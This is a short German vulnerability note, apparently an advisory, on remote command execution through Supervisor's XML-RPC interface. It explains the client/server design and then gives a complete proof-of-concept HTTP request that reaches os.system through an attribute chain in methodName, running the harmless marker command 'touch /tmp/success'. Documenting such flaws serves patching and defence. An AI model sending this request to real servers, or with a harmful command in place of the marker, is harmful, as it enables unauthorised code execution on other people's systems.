
Supervisord-Skript für Remote-Befehlsausführungs-Schwachstelle
Supervisor ist ein in Python geschriebener Prozessmanagement-Tool, das es ermöglicht, auf UNIX-ähnlichen Systemen (Windows wird nicht unterstützt) Prozesse zu starten, neu zu starten (automatischer Neustart von Programmen) und zu beenden (nicht nur Python-Prozesse).
Supervisor folgt einem C/S-Modell: supervisord ist der Server-Teil, supervisorctl der Client. Vereinfacht gesagt, gibt der Client Supervisor-Befehle ein, die die API des Servers aufrufen, um bestimmte Aufgaben zu erledigen.
Das Web-Interface von Supervisor wird häufig genutzt – es ist im Grunde ein Client für supervisord. Solange die Route erreichbar ist, können über das Web-Interface ähnliche Aktionen wie über den supervisorctl-Client durchgeführt werden. Die Operationen über das Web-Interface werden über die XML-RPC-Schnittstelle realisiert, und die Schwachstelle liegt in der Datenverarbeitung dieser XML-RPC-Schnittstelle.
POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>
Dieser POC liefert keine Rückmeldung.
